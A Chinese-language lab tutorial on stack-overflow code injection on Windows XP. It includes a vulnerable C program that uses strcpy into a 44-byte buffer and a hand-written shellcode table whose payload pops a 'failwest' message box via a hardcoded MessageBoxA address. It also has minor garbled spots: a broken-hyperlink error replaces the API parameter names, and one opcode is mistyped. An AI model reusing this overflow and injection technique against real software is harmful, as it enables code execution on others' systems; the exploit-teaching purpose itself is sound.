2.4 代码植入

一、代码植入原理

        在修改函数返回地址的实验中,我们让函数返回到main函数的验证通过分支处。在本次实验中,我们将在buffer中包含我们自己想要执行的代码,然后通过返回地址让程序跳转到buffer中去执行我们写入的代码。示意图如下:

 

二、实验清单

1、实验环境

        win xp、visual c++ 6.0、OllyDbg、Dependency Walker、UltraEdit

2、实验代码

#include <stdio.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>
#define PASSWORD "1234567"

int verify_password(char *password)
{
	int authenticated;
	char buffer[44];
	authenticated=strcmp(password,PASSWORD);
	strcpy(buffer,password);//overflowed here!
	return authenticated;
}

void main()
 {
	int valid_flag=0; 
	FILE *file;
	char password[1024];
	LoadLibrary("user32.dll");//prepare for messagebox
	file=fopen("C:\\password.txt","rw+");
	if (file==NULL)
	{
		exit(0);
	}
	fscanf(file,"%s",password);
	valid_flag=verify_password(password);
	if(valid_flag)
	{
		printf("incorrect password!\n");
	}
	else 
	{
		printf("congratulation! You have passed the verification!\n");
	}
	fclose(file);
 }

三、实验目的及思路

1、实验目的

        在password.txt中植入二进制机器码,在password.txt攻击成功时,在桌面弹出一个消息框显示“failwest”字样。

2、实验思路

        (1)分析并调试漏洞程序,获得返回地址;

        (2)获得buffer的起始地址,并将其写入password.txt相应的偏移处,用来替换返回地址;

        (3)在password.txt中写入可执行的机器代码,用来调用API弹出一个消息框。

四、实验步骤

1、分析:

        buffer[44]占有44字节,authenticated需要4字节,前栈帧需要4字节,返回地址需要4字节,如果在password.txt中写入11组“4321”将填充满整个buffer,且第45个隐藏的截断符null将冲掉authenticated中低字节的1,从而突破密码验证的限制。下一步我们将验证分析。

2、在路径为“C:\\password.txt”的password.txt文件中写入11组“4321”,并保存,运行上述代码生成的PE文件;

3、 用OllyDbg加载上述代码生成的PE文件,字符串复制函数strcmp过后的栈状况如下;

         动态调试的结果证明了前边分析的正确性。从此次调试中,我们可以得到以下信息:

        (1)buffer的起始地址为0x0012FAF0;

        (2)password.txt的第53~56字符的ASCII码值将写入栈帧中的返回地址,成为函数返回后执行的指令地址。

4、在password.txt中植入我们想要执行的机器代码;

(1)让程序弹出消息框只需要调用windows的API函数MessageBox。MSDN对这个函数的解释如下:

int MessageBox(
    HWND 错误!超级链接引用无效。,//handle to owner windows
    LPCTSTR 错误!超级链接引用无效。,//text in message box
    LPCTSTR 错误!超级链接引用无效。,//message box title
    UINT 错误!超级链接引用无效。//message box style
)
  •  hWnd[in] 消息框所属窗口的句柄,如果为null,消息框则不属于任何窗口;
  • IpTex[in] 字符串指针,所指字符串会在消息框中显示;
  • IpCaption[in] 字符串指针,所指字符串将成为消息框的标题;
  • uType[in] 消息框的风格(单按钮、双按钮等),NULL代表默认风格。

        注:其实系统中并不存在真正的messagebox函数,对messagebox这类API的调用最终将由系统按照参数中字符串的类型选择“A”类函数(ASCII)或者'W'类函数(UNICODE)调用。因此,我们在汇编语言中调用的函数应该是MessageBoxA。

(2)用汇编语言调用MessageBoxA需要三个步骤:

  • 装载动态链接库user32.dll。MessageBoxA是动态链接库user32.dll的导出函数。虽然大多数有图形化界面的程序都已经装载了这个库,但是我们用来实验的consol版并没有默认加载它。故我们在代码中人工加载了这个库;
  • 在汇编语言中调用这个函数需要知道其的入口地址;
  • 在调用前需要向栈中按从右到左的顺序压入MessageBoxA的四个参数。

(3)MessageBoxA的入口参数可以通过user32.dll在系统中加载的基址和MessageBoxA在库中的偏移地址相加得到。可以用工具“dependence walker”获得这些信息;

        具体做法:运行dependence walker,随便拖拽一个有图形界面的PE文件进去,在左侧找到并选中user32.dll,右侧会列出这个库文件的所有导出函数及偏移地址,下栏会列出PE文件用到的所有库的基地址。

 (4)编写函数调用的汇编代码(填充到buffer中);

机器代码
机器代码(16进制)汇编指令注释
33DB XOREBX,EBX    压入NULL结尾的“failwest”字符串。之所以用EBX清零后入栈作为字符串的截断符,是为了避免“PUSH 0”中的NULL,否则植入的机器码会被strcpy函数截断
53 PUSH EBX
6877657374 PUSH 74736577
686661696C PUSH 6C696166
8BC4 MOVEAX,ESPEAX这里是字符串指针
53 PUSH EBX

    4个参数按照从右到左的顺序入栈,分别为(0,failwest,failwest,0)

    消息框为默认风格,文本区和标题都是failwest“”

50 PUSH EAX
50 PUSH EAX
53 PUSH EBX
B8EA07D577MOV EAX,0x77D507EA调用MessageBoxA。注意:不同的机器函数入口可能不同。
FFDO CALL EAX

(6)将上述代码以16进制形式逐字写入password.txt文件中,第53~56字符填入buffer的起始地址0x0012FAF0,其余字节用0x90(nop指令)填充;

(7)运行程序:

        成功弹出我们植入的代码,但是单击“OK”按钮后,程序会崩溃;

         这是因为MessageBoxA调用的代码执行完成后,我们并没有写用于安全退出的代码。

 

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值